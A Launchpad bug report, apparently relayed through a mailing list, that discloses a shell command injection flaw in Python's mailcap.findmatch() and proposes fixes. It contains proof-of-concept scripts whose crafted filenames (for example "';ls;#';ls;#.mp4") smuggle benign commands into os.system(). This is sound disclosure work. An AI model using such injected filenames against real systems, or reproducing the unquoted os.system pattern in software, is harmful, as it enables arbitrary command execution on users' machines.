[Bug 1510317] Re: Shell Command Injection in "Mailcap" file handling

Bernd Dietzel 1510317 at bugs.launchpad.net
Mon Oct 26 23:29:52 UTC 2015


** Description changed:

  https://docs.python.org/2/library/mailcap.html
  mailcap.findmatch(caps, MIMEtype[, key[, filename[, plist]]])
  Return a 2-tuple; the first element is a string containing the command line to be executed (which can be passed to os.system()), ...
  
  Security Bug in mailcap.findmatch() function :
  ====================================
  
  1) If  the "filename" or path contains a shell command , it will be injected when you use os.system() to execute the resulting command line. As you can read in the docs above, the function is designed to run  os.system(<string containing the command line>).
  (Have a look at the Exploit Example 1 below )
  
- 2) If you try to 'quote' the filename before using mailcap.findmatch() , the shell command can be injected too, because there may be another quoting inside the mailcaps strings witch allows the shell commands to escape. 
- (Have a look  at the Exploit Example 2 below)  
+ 2) If you try to 'quote' the filename before using mailcap.findmatch() , the shell command can be injected too, because there may be another quoting inside the mailcaps strings witch allows the shell commands to escape.
+ (Have a look  at the Exploit Example 2 below)
  
  3) There is no way to split the resulting command line in a correct way
  afterwards into a list object with a "command" and its "parameters"
  because after running the function you will never now if the characters
  for splitting the line where a part of the the filename or a part of the
- the mailcap command in the first place. So even if you use subprocess
- for executing the commandline instead of os.system , you can get in
- trouble with unwanted parameters witch may make the viewer doing bad
- things.
- 
+ mailcap command in the first place. So even if you use subprocess for
+ executing the commandline instead of os.system , you can get in trouble
+ with unwanted parameters witch may make the viewer doing bad things.
  
  Python Exploit Example 1 :
  
  import mailcap , os
  d=mailcap.getcaps()
  FILE="';ls;#';ls;#.mp4"
  cmd,m=mailcap.findmatch(d, "audio/mpeg4", filename=FILE)
  os.system(cmd)
- ## this will lead to this in cmd : 
- ##      vlc '';ls;#';ls;#.mp4' 
- ## Or it will lead us to this in cmd : 
+ ## this will lead to this in cmd :
+ ##      vlc '';ls;#';ls;#.mp4'
+ ## Or it will lead us to this in cmd :
  ##      vlc ';ls;#';ls;#.mp4
  ## No matter what, it  will inject the ls command after you quit vlc
-  
+ 
  --
  
  Python Exploit Example 2 :
  
  import mailcap , os
  try:
- from shlex import quote
+   from shlex import quote
  except ImportError:
- from pipes import quote
+   from pipes import quote
  d=mailcap.getcaps()
  FILE=quote(";ls;#.txt")
  cmd,m=mailcap.findmatch(d, "text/plain", filename=FILE)
- os.system(cmd) 
+ os.system(cmd)
  ## this will lead to this in cmd :
  ##       less '';ls;#.txt''
  ## And it will inject the ls command after you quit less '' with the Q key
-  
+ 
  --
  
  TODO :
  a) The Return 2-tuple Command line should be quoted in this way to make shell commands stay inside the 'quotes'  :
-     1.] Remove the quotes from the caps string, for example make it
-           less %s     and NOT     less '%s' 
-     2.] Now quote the filename with quote(filename) , so we get for example 
-           ';xmessage hello world;#.txt'    in the filename variable. 
-     3.] Now we replace %s with the filename  , so now we get 
-          less  ';xmessage hello world;#.txt'     and NOT    less '';xmessage hello world;#.txt''
-      
+     1.] Remove the quotes from the caps string, for example make it
+           less %s     and NOT     less '%s'
+     2.] Now quote the filename with quote(filename) , so we get for example
+           ';xmessage hello world;#.txt'    in the filename variable.
+     3.] Now we replace %s with the filename  , so now we get
+          less  ';xmessage hello world;#.txt'     and NOT    less '';xmessage hello world;#.txt''
+ 
  b) The mailcap.py script itself is using "os.system()" witch is vulnerable for shell injections.
-      They should be all replaced with "subprocess.Popen()" or "subprocess.call()".
+      They should be all replaced with "subprocess.Popen()" or "subprocess.call()".
  
  c) The "MIMEtype" parameter is missing for test.
-     if there is %s in the  'test' entries key we get a "TypeError: cannot concatenate 'str' and 'list' objects" error.  
-    Should be like this :
-    test = subst( e['test'],  MIMEtype, filename, plist)
+     if there is %s in the  'test' entries key we get a "TypeError: cannot concatenate 'str' and 'list' objects" error.
+    Should be like this :
+    test = subst( e['test'],  MIMEtype, filename, plist)
  
- d) Think about replacing this scrip completely with the "run-mailcap"
+ d) Think about replacing this script completely with the "run-mailcap"
  program of the debian project.
- 
  
  --
  You can find mailcap.py in this locations :
  libpython2.7-stdlib: /usr/lib/python2.7/mailcap.py
  libpython3.4-stdlib: /usr/lib/python3.4/mailcap.py
  libpython3.4-testsuite: /usr/lib/python3.4/test/test_mailcap.py
  libpython3.5-stdlib: /usr/lib/python3.5/mailcap.py
  libpython3.5-testsuite: /usr/lib/python3.5/test/test_mailcap.py
  pypy-lib: /usr/lib/pypy/lib-python/2.7/mailcap.py
  python-mailutils: /usr/lib/python2.7/dist-packages/mailutils/mailcap.py
  
  --
  
  Weblinks :
  http://www.freiesmagazin.de/mobil/freiesMagazin-2015-10-bilder.html#fm_15_10_shell_command_injection
  http://bugs.python.org/issue24778
  
  ProblemType: Bug
  DistroRelease: Ubuntu 15.10
  Package: libpython3.5-stdlib 3.5.0-3
  ProcVersionSignature: Ubuntu 4.2.0-16.19-generic 4.2.3
  Uname: Linux 4.2.0-16-generic x86_64
  ApportVersion: 2.19.1-0ubuntu3
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Mon Oct 26 22:48:55 2015
  InstallationDate: Installed on 2015-10-09 (16 days ago)
  InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20151009)
  SourcePackage: python3.5
  UpgradeStatus: No upgrade log present (probably fresh install)

-- 
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to python3.5 in Ubuntu.
https://bugs.launchpad.net/bugs/1510317

Title:
  Shell Command Injection in "Mailcap" file handling

Status in python3.5 package in Ubuntu:
  New

Bug description:
  https://docs.python.org/2/library/mailcap.html
  mailcap.findmatch(caps, MIMEtype[, key[, filename[, plist]]])
  Return a 2-tuple; the first element is a string containing the command line to be executed (which can be passed to os.system()), ...

  Security Bug in mailcap.findmatch() function :
  ====================================

  1) If  the "filename" or path contains a shell command , it will be injected when you use os.system() to execute the resulting command line. As you can read in the docs above, the function is designed to run  os.system(<string containing the command line>).
  (Have a look at the Exploit Example 1 below )

  2) If you try to 'quote' the filename before using mailcap.findmatch() , the shell command can be injected too, because there may be another quoting inside the mailcaps strings witch allows the shell commands to escape.
  (Have a look  at the Exploit Example 2 below)

  3) There is no way to split the resulting command line in a correct
  way afterwards into a list object with a "command" and its
  "parameters" because after running the function you will never now if
  the characters for splitting the line where a part of the the filename
  or a part of the mailcap command in the first place. So even if you
  use subprocess for executing the commandline instead of os.system ,
  you can get in trouble with unwanted parameters witch may make the
  viewer doing bad things.

  Python Exploit Example 1 :

  import mailcap , os
  d=mailcap.getcaps()
  FILE="';ls;#';ls;#.mp4"
  cmd,m=mailcap.findmatch(d, "audio/mpeg4", filename=FILE)
  os.system(cmd)
  ## this will lead to this in cmd :
  ##      vlc '';ls;#';ls;#.mp4'
  ## Or it will lead us to this in cmd :
  ##      vlc ';ls;#';ls;#.mp4
  ## No matter what, it  will inject the ls command after you quit vlc

  --

  Python Exploit Example 2 :

  import mailcap , os
  try:
    from shlex import quote
  except ImportError:
    from pipes import quote
  d=mailcap.getcaps()
  FILE=quote(";ls;#.txt")
  cmd,m=mailcap.findmatch(d, "text/plain", filename=FILE)
  os.system(cmd)
  ## this will lead to this in cmd :
  ##       less '';ls;#.txt''
  ## And it will inject the ls command after you quit less '' with the Q key

  --

  TODO :
  a) The Return 2-tuple Command line should be quoted in this way to make shell commands stay inside the 'quotes'  :
      1.] Remove the quotes from the caps string, for example make it
            less %s     and NOT     less '%s'
      2.] Now quote the filename with quote(filename) , so we get for example
            ';xmessage hello world;#.txt'    in the filename variable.
      3.] Now we replace %s with the filename  , so now we get
           less  ';xmessage hello world;#.txt'     and NOT    less '';xmessage hello world;#.txt''

  b) The mailcap.py script itself is using "os.system()" witch is vulnerable for shell injections.
       They should be all replaced with "subprocess.Popen()" or "subprocess.call()".

  c) The "MIMEtype" parameter is missing for test.
      if there is %s in the  'test' entries key we get a "TypeError: cannot concatenate 'str' and 'list' objects" error.
     Should be like this :
     test = subst( e['test'],  MIMEtype, filename, plist)

  d) Think about replacing this script completely with the "run-mailcap"
  program of the debian project.

  --
  You can find mailcap.py in this locations :
  libpython2.7-stdlib: /usr/lib/python2.7/mailcap.py
  libpython3.4-stdlib: /usr/lib/python3.4/mailcap.py
  libpython3.4-testsuite: /usr/lib/python3.4/test/test_mailcap.py
  libpython3.5-stdlib: /usr/lib/python3.5/mailcap.py
  libpython3.5-testsuite: /usr/lib/python3.5/test/test_mailcap.py
  pypy-lib: /usr/lib/pypy/lib-python/2.7/mailcap.py
  python-mailutils: /usr/lib/python2.7/dist-packages/mailutils/mailcap.py

  --

  Weblinks :
  http://www.freiesmagazin.de/mobil/freiesMagazin-2015-10-bilder.html#fm_15_10_shell_command_injection
  http://bugs.python.org/issue24778

  ProblemType: Bug
  DistroRelease: Ubuntu 15.10
  Package: libpython3.5-stdlib 3.5.0-3
  ProcVersionSignature: Ubuntu 4.2.0-16.19-generic 4.2.3
  Uname: Linux 4.2.0-16-generic x86_64
  ApportVersion: 2.19.1-0ubuntu3
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Mon Oct 26 22:48:55 2015
  InstallationDate: Installed on 2015-10-09 (16 days ago)
  InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20151009)
  SourcePackage: python3.5
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python3.5/+bug/1510317/+subscriptions



More information about the foundations-bugs mailing list